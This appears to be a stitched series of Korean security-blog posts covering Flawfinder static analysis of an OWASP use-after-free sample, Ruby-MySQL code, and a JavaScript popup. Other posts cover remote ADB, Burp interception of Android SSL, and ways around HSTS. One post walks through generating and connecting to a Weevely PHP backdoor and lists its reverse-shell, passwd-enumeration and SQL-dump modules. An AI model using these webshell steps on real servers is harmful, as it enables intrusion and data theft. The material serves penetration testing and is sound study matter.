(사실 rats 와 같이 테스트를 하였으나, 개인적인 느낌이 flawfinder가 좋아보여서요..)

FlawFinder 설치하기(Install Flawfinder)


데비안 계열 OS를 사용하신 다면 apt 패키지 관리자로 쉽게 설치가 가능합니다.

# apt-get install flawfinder rats

다른 OS를 사용한다면, 웹페이지 or SourceForge에서 다운로드가 가능합니다.

Vendor Site: http://www.dwheeler.com/flawfinder/
SourceForge: http://sourceforge.net/projects/flawfinder/

설치 후 정상적으로 실행됨을 확인하였습니다.

# flawfinder
Flawfinder version 1.31, (C) 2001-2014 David A. Wheeler.
Number of rules (primarily dangerous function names) in C/C++ ruleset: 169
*** No input files


FlawFinder를 이용한 WhiteBox Test(Using FlawFinder for Source code Analysis)


일단 FlawFinder의 메뉴얼을 잠깐 보고갈까 합니다.

# flawfinder -h

flawfinder [--help | -h] [--version] [--listrules]
  [--allowlink] [--followdotdir] [--nolink]
           [--patch filename | -P filename]
  [--inputs | -I] [--minlevel X | -m X]
           [--falsepositive | -F] [--neverignore | -n]
  [--context | -c] [--columns | -C] [--dataonly | -D]
           [--html | -H] [--immediate | -i] [--singleline | -S]
           [--omittime] [--quiet | -Q]
  [--loadhitlist F] [--savehitlist F] [--diffhitlist F]
  [--] [source code file or source root directory]+

  The options cover various aspects of flawfinder as follows.

  Documentation:
  --help | -h Show this usage help.
  --version   Show version number.
  --listrules List the rules in the ruleset (rule database).

  Selecting Input Data:
  --allowlink Allow symbolic links.
  --followdotdir
              Follow directories whose names begin with ".".
              Normally they are ignored.
  --nolink    Skip symbolic links (ignored).
  --patch F | -P F
              Display information related to the patch F
              (patch must be already applied).

  Selecting Hits to Display:
  --inputs | -I
              Show only functions that obtain data from outside the program;
              this also sets minlevel to 0.
  -m X | --minlevel=X
              Set minimum risk level to X for inclusion in hitlist.  This
              can be from 0 (``no risk'')  to  5  (``maximum  risk'');  the
              default is 1.
  --falsepositive | -F
              Do not include hits that are likely to be false  positives.
              Currently,  this  means  that function names are ignored if
              they're not followed by "(", and that declarations of char-
              acter  arrays  aren't noted.  Thus, if you have use a vari-
              able named "access" everywhere, this will eliminate  refer-
              ences  to  this ordinary variable.  This isn't the default,
              because this  also  increases  the  likelihood  of  missing
              important  hits;  in  particular, function names in #define
              clauses and calls through function pointers will be missed.
  --neverignore | -n
              Never ignore security issues, even if they have an ``ignore''
              directive in a comment.
  --regex PATTERN | -e PATTERN
              Only report hits that match the regular expression PATTERN.

  Selecting Output Format:
  --columns | -C
              Show  the  column  number  (as well as the file name and
              line number) of each hit; this is shown after the line number
              by adding a colon and the column number in the line (the first
              character in a line is column number 1).
  --context | -c
              Show context (the line having the "hit"/potential flaw)
  --dataonly | -D
              Don't display the headers and footers of the analysis;
              use this along with --quiet to get just the results.
  --html | -H
              Display as HTML output.
  --immediate | -i
              Immediately display hits (don't just wait until the end).
  --singleline | -S
              Single-line output.
  --omittime  Omit time to run.
  --quiet | -Q
              Don't display status information (i.e., which files are being
              examined) while the analysis is going on.

  Hitlist Management:
  --savehitlist=F
              Save all hits (the "hitlist") to F.
  --loadhitlist=F
              Load hits from F instead of analyzing source programs.
  --diffhitlist=F
              Show only hits (loaded or analyzed) not in F.


  For more information, please consult the manpage or available
  documentation.

일단 Usage를 보면 별도의 옵션 없이 Argument만 넘겨 바로 사용이 가능합니다.
옵션을 주면 더 디테일한 분석이 가능하겠지요.

FlawFinder가 어떤 파일에서 찾을 수 있는지 간단한 UAF 소스코드를 첨부합니다.

#include <stdio.h>
#include <unistd.h>

// code by owasp / reference site
// https://www.owasp.org/index.php/Using_freed_memory

#define BUFSIZER1   512
#define BUFSIZER2   ((BUFSIZER1/2) - 8)

int main(int argc, char **argv) {   
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
    char *buf3R2;

    buf1R1 = (char *) malloc(BUFSIZER1);
    buf2R1 = (char *) malloc(BUFSIZER1);

    free(buf2R1);

    buf2R2 = (char *) malloc(BUFSIZER2);
    buf3R2 = (char *) malloc(BUFSIZER2);

    strncpy(buf2R1, argv[1], BUFSIZER1-1);
    free(buf1R1);
    free(buf2R2);
    free(buf3R2);

}

OWASP에서 샘플코드로 제공하는 이 코드를 Flawfinder로 분석을 하면 아래와 같이 결과가 나타납니다.

# flawfinder uaf.c
Flawfinder version 1.31, (C) 2001-2014 David A. Wheeler.
Number of rules (primarily dangerous function names) in C/C++ ruleset: 169
Examining uaf.c

FINAL RESULTS:

uaf.c:21:  [1] (buffer) strncpy:
  Easily used incorrectly; doesn't always \0-terminate or check for invalid
  pointers (CWE-120).


ANALYSIS SUMMARY:

Hits = 1
Lines analyzed = 27 in approximately 0.01 seconds (2470 lines/second)
Physical Source Lines of Code (SLOC) = 19
Hits@level = [0]   0 [1]   1 [2]   0 [3]   0 [4]   0 [5]   0
Hits@level+ = [0+]   1 [1+]   1 [2+]   0 [3+]   0 [4+]   0 [5+]   0
Hits/KSLOC@level+ = [0+] 52.6316 [1+] 52.6316 [2+]   0 [3+]   0 [4+]   0 [5+]   0
Minimum risk level = 1
Not every hit is necessarily a security vulnerability.
There may be other security vulnerabilities; review your code!
See 'Secure Programming for Linux and Unix HOWTO'
(http://www.dwheeler.com/secure-programs) for more information.


진행 과정 중 취약 부분에서 대해서 Output이 발생하고 마지막에 전체적인 평가(?)가 기재됩니다.

uaf.c:21:  [1] (buffer) strncpy:
  Easily used incorrectly; doesn't always \0-terminate or check for invalid
  pointers (CWE-120).


21번 줄 strncpy 함수 부분이 취약할 수 있다고 경고합니다.
또한 --regex or -e 옵션을 활용하여 정규식을 적용할 수 있고
--regex PATTERN | -e PATTERN

Ouput 에 대한 설정 또한 가능합니다. -H or --html 옵션으로 웹 페이지 형식으로 바꿔서 표현할 수도 있습니다.

--html | -H


# flawfinder --html ftp_scan.c >> output.html
# fierfox output.html




BlackBox Test는 사람이 직접하는게 좋다고 생각되는데, WhiteBox Test는 코드량이 많아 질수록 툴의 필요성이 많이 늘어나는 것 같습니다. FlawFinder와 같이 코드에 대해 분석을 해주는 툴과 함께라면 좀 더 쉽게 WhiteBox Test를 진행할 수 있겠지요. : )
Share: | Coffee Me:

[RUBY] Ruby에서 MySQL 연동하기(DB Connection 및 SQL Query 전송)

아주 간단하고 금방 작성할 수 있는 부분이지만, 항상 그렇듯이 필요할땐 기억이 나지 않는게 코드인 것 같습니다.
짧게 메모해둘까 합니다.

일단 기본적으로 Ruby랑 Mysql은 깔려있어야 합니다.(당연한 이야기)

추가로 gem 을 이용하여 ruby와 mysql 을 연동하는 모듈을 설치할 것이고, 설치 전 라이브러리가 필요한 사항이 있어 먼저 설치해줍니다.

# apt-get install libmysqlclient-dev

apt 패키지나, gem을 이용하여 ruby에서의 mysql 연동 모듈을 설치합니다.

# apt-get install ruby-mysql
# gem install mysql


ruby 쉘에서 require 하여 확인해보면 정상적으로 로드됨을 알 수 있습니다.

# irb
2.1.5 :001 > require 'mysql'
 => true


이제 간단한 코드를 통해 db 연동 부분을 작성합니다. 타 언어에 비해 매우 짧습니다.
(물론 요즘 대부분의 언어들이 간편하지요..)


host = "127.0.0.1";
user = "root";
pw = "YOURPASSWORD";
dbname = "DATABASE_NAME";

# Database Connection
begin
  conn = Mysql.new(host,user,pw,dbname)
rescue Mysql::Error => e
  puts e.errno
  puts e.error
ensure
  con.close if con
end

위 코드에서 핵심은 Mysql.new를 통해 입력받은 인자값으로 connection을 생성하고 이를 통해 db와의 소통부분을 제어하는 것 입니다.
아래 코드에서 연결된 connection(conn)에 query 메소드를 통해 연결된 database로 쿼리를 날릴 수 있습니다.

# Database Query (SELECT 
result = conn.query("select * from #{$db_table}")
result.each_hash { |h| puts h['test_key']}  
conn.close  

Sample code for Ruby&MySQL


host = "127.0.0.1";
user = "root";
pw = "YOURPASSWORD";
dbname = "DATABASE_NAME";

# Database Connection
begin
  conn = Mysql.new(host,user,pw,dbname)
rescue Mysql::Error => e
  puts e.errno
  puts e.error
ensure
  con.close if con
end

# Database Query (SELECT 
result = conn.query("select * from #{$db_table}")
result.each_hash { |h| puts h['test_key']}  
conn.close  
Share: | Coffee Me:

12/12/2015

[CODING] HTML/Javascript 를 이용한 팝업 레이어 만들기 :: Code for Popup Search Layer

블로그 디자인 수정 중 검색 부분에 재미있는 생각이 나서 약간 작업을 하였습니다.
기존에 쓰던 검색창은 블로그에서 바로 보이고 입력 후 검색하는 방법으로 구성하였는데, 클릭하여 따로 팝업을 띄운 후 거기서 검색하는 방법이 더 좋을 것 같다는 생각에 수정하였습니다.

일단 팝업 검색창을 띄울 레이어를 생성합니다.
간단하게 div 태그로 구역을 지정하고, style 을 설정하였습니다.

<div id="SearchLayer" style="position:absolute;z-index:999;display:none; width:100%; height:90%;
background: none rgba(0, 0, 0, 0.9);
filter: progid:DXImageTransform.Microsoft.Gradient(startColorstr='#80000000', endColorstr='#80000000');
" align='center'>
<table valign="middle" height=100%><tr><td >
<input type='text'><input type='submit'><br>
...
<br><br>
<font size='3' color='white' onclick='CloseSearch()'>Close</font>
</td></tr></table>
</div>
블로그에 적용하기 전에 테스트 코드로 짜서 테스트하느라, 실제 적용된거랑은 약간 차이가 있겠지요.
여기서 처음 접속시에는 보이지 않게하기 위해서 display:none; 을 지정하였습니다.

그다음 매번 클릭 시 나타났다, 없어졌다를 반복하기 위해서 해당 div를 제어하는 js를 작성합니다.

<script type="text/javascript">
function ViewSearch(){
        document.getElementById("SearchLayer").style.display='inline'
    }
function CloseSearch(){
        document.getElementById("SearchLayer").style.display='none'
    }
</script>
getElementById로 div 의 id를 찾은 후 style로 노출 유무를 지정해주시면 됩니다.
마지막으로 방금 만든 ViewSearch() 함수와 CloseSearch() 함수를 실행하는 부분을 작성해주시면 됩니다.
테스트할때는 그냥 a 태그로 했었고, 실제 적용에는 메뉴바에서 해당 함수를 호출하도록 해놨습니다.

<a href="javascript:ViewSearch();">HAHWUL_TEST</a>
실제 이런식으로 적용이 되었지요.



테스트 진행하며 만들었던 html 전체 코드입니다.

<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
function ViewSearch(){
        document.getElementById("SearchLayer").style.display='inline'
    }
function CloseSearch(){
        document.getElementById("SearchLayer").style.display='none'
    }
</script>

<div id="SearchLayer" style="position:absolute;z-index:999;display:none; width:100%; height:90%;
background: none rgba(0, 0, 0, 0.9);
filter: progid:DXImageTransform.Microsoft.Gradient(startColorstr='#80000000', endColorstr='#80000000');
" align='center'>
<table valign="middle" height=100%><tr><td >
<input type='text'><input type='submit'><br>
...
<br><br>
<font size='3' color='white' onclick='CloseSearch()'>Close</font>
</td></tr></table>
</div>
<a href="javascript:ViewSearch();">HAHWUL_TEST</a>
</body>
</html>

Share: | Coffee Me:

12/07/2015

[WEB HACKING] Weevely를 이용하여 Stealth Webshell 만들기(weevely 설치 및 사용)

Web Hacking 에서 가장 파급력이 강한 공격이라고 생각되는 웹쉘에 관한 이야기입니다.
보통 많이 알려진 r57등의 쉘을 사용하거나 one line shell을 사용하기 나름인데 찾다보니 좋은 툴이 있어 겸사겸사 작성하였습니다.



Weevely라는 이 툴은 Web Shell Generator입니다.
(저도 예전에 비슷한걸 만들어 보았지만.. 성능면에서 차이가 크군요.)

이 Weevely는 Kali Linux에 기본 툴로 탑재될 만큼 많이 알려지고, 효과또한 좋은 툴입니다.
이 툴을 이용하여 Webshell 생성을 해보도록 하겠습니다.

Weevely 설치하기(Install Weevely & Package)

git 을 이용하여 clone 생성
# git clone https://github.com/epinna/weevely3.git
# cd weevely3

관련 패키지 설치
# pip install prettytable
# apt-get install python-yaml

정상 설치 확인
# python weevely.py

[+] weevely 3.2.0
[!] Error: too few arguments

[+] Run terminal to the target
    weevely <URL> <password> [cmd]

[+] Load session file
    weevely session <path> [cmd]

[+] Generate backdoor agent
    weevely generate <password> <path>

Excute weevely - 쉘 파일 생성하기


# python weevely.py generate hahwul ./shell
Generated backdoor with password 'hahwul' in './shell' of 1449 byte size.


Excute weevely - 원격지 Weevely 쉘 접근하기

# python weevely.py 127.0.0.1/vul_test/shell.php hahwul[password]

[+] weevely 3.2.0

[+] Target: 127.0.0.1
[+] Session: /root/.weevely/sessions/127.0.0.1/test_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

www-data@VUL_TEST:/var/www/html $ help

 :audit_filesystem     Audit system files for wrong permissions.                          
 :audit_etcpasswd      Get /etc/passwd with different techniques.                        
 :audit_suidsgid       Find files with SUID or SGID flags.                                
 :audit_phpconf        Audit PHP configuration.                                          
 :bruteforce_sql       Bruteforce SQL database.                                          
 :system_info          Collect system information.                                        
 :system_extensions    Collect PHP and webserver extension list.                          
 :backdoor_reversetcp  Execute a reverse TCP shell.                                      
 :backdoor_tcp         Spawn a shell on a TCP port.


Troubleshooting

설치 후 실행과정에서 발생할 수 있는 에러에 대한 처리방법입니다.
일단 제가 발생했던 문제는 generate 후 해당 쉘에 대해 접근 시 발생한 pysocks 관련 에러입니다.

ImportError: No module named socks
ImportError: No module named sockshandler

socks, sockshandler 모듈이 없다는 에러를 각각 만나게 되었고, 패키지 설치로 쉽게 해결이 가능합니다.

1. ImportError: No module named socks
# pip install socksipy-branch

2. ImportError: No module named sockshandler
# apt-get install python-pysocks

혹시나 2가지 방법으로도 안된다면 PySock 최신 버전을 받아 사용하시면 됩니다.

https://pypi.python.org/pypi/PySocks/ 접근 후 PySock 파일을 다운로드 받습니다.

압축 해제 후 set.py 를 통해 설치하시면 됩니다.
# tar -xvf PySocks-1.5.6.tar.gz 
PySocks-1.5.6/
PySocks-1.5.6/PKG-INFO
PySocks-1.5.6/setup.py
PySocks-1.5.6/socks.py
PySocks-1.5.6/sockshandler.py

# cd PySocks-1.5.6/
# python setup.py install

그러면 아래와 같이 정상적으로 실행되는 것으로 확인할 수 있습니다.

# weevely http://127.0.0.1/test.php hahwul 

[+] weevely 3.2.0

[+] Target: 127.0.0.1
[+] Session: /root/.weevely/sessions/127.0.0.1/test_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

Manual & Custom Shell

Maunal
+--------------------+------------------------------------------------------+
| generator          | description                                          |
+--------------------+------------------------------------------------------+
| :generate.img      | Backdoor existing image and create related .htaccess |
| :generate.htaccess | Generate backdoored .htaccess                        |
| :generate.php      | Generate obfuscated PHP backdoor                     |
+--------------------+------------------------------------------------------+
+----------------------+------------------------------------------------------------------------------+
| module               | description                                                                  |
+----------------------+------------------------------------------------------------------------------+
| :audit.systemfiles   | Find wrong system files permissions                                          |
| :audit.userfiles     | Guess files with wrong permissions in users home folders                     |
| :audit.mapwebfiles   | Crawl and enumerate web folders files permissions                            |
| :audit.phpconf       | Check php security configurations                                            |
| :audit.etcpasswd     | Enumerate users and /etc/passwd content                                      |
| :shell.sh            | Execute system shell command                                                 |
| :shell.php           | Execute PHP statement                                                        |
| :system.info         | Collect system informations                                                  |
| :find.name           | Find files with matching name                                                |
| :find.perms          | Find files with write, read, execute permissions                             |
| :find.suidsgid       | Find files with superuser flags                                              |
| :backdoor.reversetcp | Send reverse TCP shell                                                       |
| :backdoor.tcp        | Open a shell on TCP port                                                     |
| :bruteforce.sql      | Bruteforce SQL username                                                      |
| :bruteforce.sqlusers | Bruteforce all SQL users                                                     |
| :file.read           | Read remote file                                                             |
| :file.webdownload    | Download web URL to remote filesystem                                        |
| :file.mount          | Mount remote filesystem using HTTPfs                                         |
| :file.enum           | Enumerate remote paths                                                       |
| :file.upload2web     | Upload binary/ascii file into remote web folders and guess corresponding url |
| :file.check          | Check remote files type, md5 and permission                                  |
| :file.rm             | Remove remote files and folders                                              |
| :file.ls             | List directory contents                                                      |
| :file.touch          | Change file timestamps                                                       |
| :file.download       | Download binary/ascii files from the remote filesystem                       |
| :file.upload         | Upload binary/ascii file into remote filesystem                              |
| :file.edit           | Edit remote file                                                             |
| :sql.console         | Run SQL console or execute single queries                                    |
| :sql.dump            | Get SQL database dump                                                        |
| :net.ifaces          | Print interfaces addresses                                                   |
| :net.proxy           | Install and run Proxy to tunnel traffic through target                       |
| :net.phpproxy        | Install remote PHP proxy                                                     |
| :net.scan            | Port scan open TCP ports                                                     |
+----------------------+------------------------------------------------------------------------------+

Custom Shell 관련해서는 이부분 참고하시면 좋을 것 같습니다.
https://github.com/epinna/weevely3/wiki/developing-a-new-module


Reference Site

https://github.com/epinna/weevely3
https://github.com/epinna/weevely3/wiki#getting-started

Share: | Coffee Me:

12/03/2015

[ANDROID] ADB를 이용한 Android Remote Shell/Debugging (with ADB)

앱 분석 도중 USB 케이블 접지 불량으로 USB를 통한 ADB 사용이 어려워져 Adb Remote 연결에 대한 부분을 찾아보았고, 정리 차원에서 작성합니다.




USB 케이블이 있을 때 PC의 adb를 이용하여 설정하는 방법과 App 을 이용하여 설정하는 방법 정도가 있습니다.

1. adb 명령어를 이용한 원격 디버깅 설정(via USB)

# adb tcpip 5555

하면 재설정을 진행하며, 5555 포트를 오픈하게 됩니다.

이상태에서 PC에서 아래 명령으로 안드로이드 디바이스에 ADB로 접근할 수 있습니다.
# adb connect 192.168.0.2 [Target IP]

연결이 성공하면 adb 상에서 원격 디바이스로 모바일 폰을 인식하게 됩니다.
adb devices 명령을 통해 확인하면 ip와 연결 포트가 확인됩니다.

# adb devices
List of devices attached
192.168.0.2:5555        device


# adb shell
shell@noonpentest:/ $

2. App을 이용한 원격 디버깅 설정

위 1번 기능을 App으로 지원하는게 있을까 해서 찾아보다가 ADB Konnect라는 앱을 찾았습니다.
앱에 대해서 직접 검증해보진 않았지만 간단한 터치 동작으로 모바일 디바이스를 원격 디버깅 모드로 설정할 수 있습니다.

PlayStore -> ADB Konnect App 설치 -> 실행

아래와 같이 실행화면이 나옵니다. 원터치로 ADB Server에 대해 ON/OFF가 가능하며, 안드로이드 디바이스 IP도 바로 알려주어
쉽게 확인할 수 있습니다. 1번과 동일한 방법으로 PC에서 접근하면 ADB 연결이 성공합니다.

# adb connect 192.168.0.2 [Target IP]


연결이 성공하면 adb 상에서 원격 디바이스로 모바일 폰을 인식하게 됩니다.

# adb devices
List of devices attached
192.168.0.2:5555        device


# adb shell
shell@noonpentest:/ $
Share: | Coffee Me:

12/02/2015

[WEB HACKING] Burp Suite를 통한 Android SSL Packet 분석(Android Proxy + SSL Certificate)

Android 분석 중 발생하는 패킷에 대해 분석할 때 대부분 tcpdump + wireshark 조합을 많이 사용하게 됩니다. 그 중 http 패킷에 대해서는 wireshark 보다 익숙한 burp가 좋기 때문에 프록시를 burp로 걸고 보는 경우가 많았지요.

그 중 burp에서 SSL 관련 패킷에 대해 확인이 안되어 좀 찾아본 결과 쉬운 방법으로 burp에서 Android SSL이 적용된 요청을 확인할 수 있었습니다.

Burp suite 인증서 다운로드(Download burp certificate)

PC나 Android Device에서 burp 페이지(burp 서버 페이지 / ex: 127.0.0.1:8080) 접근 후 우측 상단의 "CA Certificate" 메뉴를 클릭하여 인증서를 다운로드 받습니다.



테스트에서는 PC웹을 통해 다운로드 후 ADB or 파일 관리자를 통해 안드로이드 기기에 인증서를 설치하였습니다. 앱에서 직접 접근해서 받은 후 설치하셔도 됩니다.


 다운로드 받은 인증서의 파일 확장자를 der에서 cer로 변환합니다.

cacert.der -> cacert.cer

## 혹시 Burp PC로 접근이 불가할 경우(Android Device or 타 PC 접근 시)
이 경우 대부분 Proxy 설정이 localhost만 허용되어 발생하는 문제입니다. Burp Proxy 설정에서 접근할 PC/Device IP나 *로 설정하여 접근이 가능하도록 바꿔주세요.



Android Menu에서 인증서 설치하기


변환 후 Android 설정 메뉴 중 보안 메뉴에서 저장소에서 인증서를 가져와 설치합니다.

설정 -> 보안 -> 디바이스 저장공간에서 가져와 설치 -> cacert.cer 탭하여 설치





설치 후 Android에서 Proxy를 설정하여 Burp Suite 에서 확인할 수 있습니다.


Proxy 설정을 통해 SSL 패킷을 Burp로 보내기

무선랜 설정 시 고급 옵션을 사용하거나, ProxyDroid 같은 Toolkit을 이용하여 프록시를 Burp가 실행되는 PC로 지정해줍니다. 안드로이드 요청이 Burp PC로 프록시를 타고 나가게 되며 Burp단의 인증서가 설치되었기 때문에 Burp에서 SSL 패킷에 대해서도 잡을 수 있습니다.

Reference

https://support.portswigger.net/customer/portal/articles/1841102-Mobile%20Set-up_Android%20Device%20-%20Installing%20CA%20Certificate.html
Share: | Coffee Me:

11/27/2015

[WEB HACKING] HSTS(Http Strict Transport Security) 적용 Site 에 대한 웹해킹/침투테스트


웹 해킹을 진행 중 SSL이 결려있는 https 에 대한 침투테스트를 진행할 때가 있습니다.
대부분의 site 는 SSL(https)만 적용되어 Proxy를 통해 쉽게 테스트가 가능하지만 개인정보나 중요정보를 다루는 서버는 HSTS 기술이 적용되어 있습니다.

이 HSTS는 기존 HTTPS 보다 더 강화된 형태의 보안 정책이며 Proxy 사용 시 브라우저단에서 HSTS로 인해 요청처리를 하지 않아 테스트 진행 시 불편한점이 상당히 많습니다.

그래서 이 HSTS가 무엇인지, 이것을 피해 테스트를 진행하기 위해 어떤 방법을 생각하고 사용하였는지에 대한 이야기로 풀어나갈까 합니다.



HSTS(Http Strict Transport Security)란?

Wikipedia에서 제공되는 내용을 보면 웹사이트내 Session Hijacking, agains downgrade attack 등에 대응하기 위하여 만들어진 보안정책 메커니즘입니다. 간단히 두면 SSL를 안전하게 처리하기 위한 정책이라고 볼 수 있죠.

HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect secure HTTPS websites against downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections,[1] and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797.

The HSTS Policy[2] is communicated by the server to the user agent via an HTTP response header field named "Strict-Transport-Security". HSTS Policy specifies a period of time during which the user agent shall access the server in a secure-only fashion. -Wikipedia-

이 HSTS 기술은 IETF에서 Proposed Standard로 승인되었고 보안연결이 지정된 사이트만 접근할 수 있도록 서버가 설정하는 보안 메커니즘입니다. 이 기술을 통해서 HTTPS가 아닌 일반적인 URL 접근시에도 강제로 HTTPS로 돌려지는 기능또한 수행되고 있지요.


이제 이런 HSTS가 적용된 사이트에 Proxy를 통해 접근하려고 하면 아래와 같이 Error가 발생하며 연결에 실패합니다.

*******는 유효하지 않은 보안 인증서를 사용합니다. 발급자 인증서를 알 수 없기 때문에 인증서를 신뢰할 수 없습니다. 서버가 적절한 중간 인증서를 보내지 않을 수 있습니다. 가져오기를 하기 위해 추가적인 루트 인증서가 필요할 수 있습니다. (오류 코드: sec_error_unknown_issuer)

일반적인 경우에는 공격의 위험성이 있는 네트워크를 식별하여 사용자에게 좀 더 높은 수준의 보안을 제공하는것 이지만
보안분석가의 입장에서 침투 테스트 시 귀찮은 가림막이 됩니다.. :(


1. FireFox Addon 인 Live HTTP Header 기능 활용

각 브라우저 별로 유사한 형태의 Addon이 있을것으로 생각됩니다. 전 Firefox가 메인 브라우저이기 때문에 Firefox addon인 Live HTTP Header를 사용하여 테스트를 진행합니다.

Mozilla Addon에서 간단하게 설치가 가능하며, Proxy가 아닌 브라우저단에서 확인하기 때문에 SSL 기술을 쉽게 우회하여 테스트를 진행할 수 있습니다.

2. HSTS를 지원하지 않는 구버전 Web Browser 를 이용한 테스트

거의 1번의 방법으로 테스트를 하였지만, 불편한점이 많아 자료를 찾아보고 생각해낸 방법은 구버전의 웹 브라우저를 사용하는 방법입니다.

HSTS로 인해 테스트가 불편한 사람들도 다수 이 방법을 적용하는듯 합니다.

일단 구버전의 Firefox(3.0정도..?) 를 다운로드 받아 설치합니다. 구버전 사용은 보안적인 이슈가 있을 가능성이 높기 때문에 VM에서 별도로 설치하여 Proxy를 분석 PC로 돌려 사용하는 방법으로 해볼까합니다.


일단 가상환경(VM)에서 구버전의 웹 브라우저(Firefox 3.0) 은 다운로드/설치합니다.
아주 옛날 버전의 브라우저는 HSTS를 지원하지 않기 때문에 Server에서 HSTS 설정이 되어있어도 처리되지 않고 사용이 가능합니다.

여기서 VM에서 Burp or Fiddler 등을 설치해서 테스트하시면 바로 하면되고, 메인 분석 PC에서 테스트를 하려면 Proxy 주소를 분석 PC 주소로 맞춰줍니다. 그리고 Burp등에서 원격지에서 넘어온 데이터를 받을 수 있게 설정하고 테스트를 진행하면 HSTS의 구속 없이 취약점 진단이 가능합니다.

3. CA(인증서) 설치

가장 확실한 방법입니다. 웹 브라우저에 프록시 툴에서 제공하는 CA, 또는 직접 구성한 CA를 로컬단에서 직접 인증서로 설치해주면 웹 브라우저는 프록시 서버를 정상적인 서버로 판단하고 에러가 발생하지 않습니다.

Burp, ZAP 인증서



Share: | Coffee Me:

11/26/2015

[SYSTEM HACKING] Peach Fuzzer의 GUI 모드 - Peach3 Fuzz Bang(Run Peach Fuzzer on GUI Interface)

찾다보니 Peach Fuzzer에 여러가지 기능 중 GUI 모드를 지원하는 기능이 있었습니다.
원래 Windows Base 로 만들어졌던 터라, ./peach 파일에 대해서만 신경썼지 다른건 좀 못보고 있었는데요.



Peach Fuzzer 디렉토리 하단에 PeachFuzzBang.exe와 PeachValidator.exe 가 있습니다.
공식 홈페이지에서는 이렇게 설명하고 있네요.

Peach Fuzz Bang

Peach Fuzz Bang is a GUI file fuzzing tool. This tool is cross-platform and allows for quickly fuzzing data consumers.

Peach Validator

Peach Validator is a GUI program used to visual validate the loading of data into a data model.

Fuzz Bang은 GUI 기반의 Fuzzing 도구, Validator는 가시적인 형태로 data Model에 대해 볼 수 있는 툴 입니다.

일단 mono를 이용하여 Peach Fuzz Bang을 실행합니다.
(리눅스에서 Peach Fuzz Bang은 Mono를 통해 실행하기 때문에 이전에 설치, 분석글 같이 하신분들은 자연스레 설치되어 있을겁니다. / 윈도우는 그냥 열면되요)

#mono PeachFuzzBang.exe

열면 간단한 소개멘트와 심플한 디자인의 툴이 나타납니다.

Peach 3 - Fuzz Bang is a graphical file fuzzer.  It can be configured as a simple dumb fuzzer or with a smart Peach Pit definition.  The graphical interface provides an easy way to configure and run a file fuzzing instance.

Start using Fuzz Bang by configuring the required information in the General and Debugger tabs.  Then click "Start Fuzzing"!  It's just that easy!

메뉴는 Intro, General, Debugger, Output, About 으로 구성되어 있고 눌러보시면 쉽게 어떤 내용인지 파악이 갑니다.
General에서 Fuzzing에 사용할 데이터를 세팅하고 Debugger에서 테스트를 진행할 프로그램을 설정합니다.

저는 간단하게 General에서 설정한 이미지 데이터를 Gedit으로 여는 형태의 테스트를 해볼까 하여 gedit을 타겟 프로그램으로 주었습니다.

Executable: /usr/bin/gedit
Arguments: fuzzed.png

실행하면, 열심히 gedit을 열었다 닫았다 하며 테스트를 진행합니다.



결과 파일은 Logs/ 하단에 위치하게 됩니다.

http://community.peachfuzzer.com/v3/Publisher.html

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 1 - Install Peach Fuzzer
[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 2 - Application Fuzzing for Exploit 
[SYSTEM HACKING] Peach Fuzzer의 GUI 모드 - Peach3 Fuzz Bang(Run Peach Fuzzer on GUI Interface) 

Reference

http://community.peachfuzzer.com
Share: | Coffee Me:

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 2 - Application Fuzzing for Exploit

Peach Fuzzer를 이용한 프로그램 Fuzzing 에 대한 내용을 다룹니다.
설치 방법은 아래 포스팅 참고하셔서 진행하시면 됩니다.

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 1 - Install Peach Fuzzer

Peach Fuzzer는 여러 플랫폼을 공통으로 지원하는 Fuzzer 입니다.
파일로만 봐도 Linux, Windows , MacOS까지 두루두루 다 지원합니다.
# ls
Aga.Controls.dll                    PacketDotNet.dll                    Peach.Core.Test.OS.Windows.dll              PeachLinuxCrashHandler.exe.config  SuperSocket.SocketBase.dll
Be.Windows.Forms.HexBox.dll         Peach.Core.ComContainer.exe         Peach.Core.Test.OS.Windows.dll.mdb          PeachLinuxCrashHandler.exe.mdb     SuperSocket.SocketBase.pdb
Be.Windows.Forms.HexBox.dll.config  Peach.Core.ComContainer.exe.config  Peach.Core.Test.OS.Windows.xml              PeachMinset.exe                    SuperWebSocket.dll
CrashableServer                     Peach.Core.ComContainer.exe.mdb     Peach.Core.Test.dll                         PeachMinset.exe.config             SuperWebSocket.pdb
CrashingFileConsumer                Peach.Core.OS.Linux.dll             Peach.Core.Test.dll.mdb                     PeachMinset.exe.mdb                bblocks32.so
CrashingProgram                     Peach.Core.OS.Linux.dll.mdb         Peach.Core.Test.xml                         PeachNetworkFuzzer.exe             cedge32.so
Ionic.Zip.dll                       Peach.Core.OS.Linux.xml             Peach.Core.WindowsDebugInstance.exe         PeachNetworkFuzzer.exe.config      gdb
IronPython.Modules.dll              Peach.Core.OS.OSX.dll               Peach.Core.WindowsDebugInstance.exe.config  PeachNetworkFuzzer.exe.mdb         log4net.dll
IronPython.dll                      Peach.Core.OS.OSX.dll.mdb           Peach.Core.WindowsDebugInstance.exe.mdb     PeachValidator.exe                 nunit.framework.dll
IronRuby.Libraries.Yaml.dll         Peach.Core.OS.OSX.xml               Peach.Core.dll                              PeachValidator.exe.config          peach
IronRuby.Libraries.dll              Peach.Core.OS.Windows.dll           Peach.Core.dll.mdb                          PeachValidator.exe.mdb             peach-3.1.124-linux-x86-debug.zip
IronRuby.dll                        Peach.Core.OS.Windows.dll.mdb       Peach.Core.xml                              PeachXmlGenerator.exe              peach.xsd
Lib                                 Peach.Core.OS.Windows.xml           Peach.exe                                   PeachXmlGenerator.exe.config       pin
Microsoft.Dynamic.dll               Peach.Core.Test.OS.Linux.dll        Peach.exe.config                            PeachXmlGenerator.exe.mdb          samples
Microsoft.Scripting.Metadata.dll    Peach.Core.Test.OS.Linux.dll.mdb    Peach.exe.mdb                               Renci.SshNet.dll                   samples_png
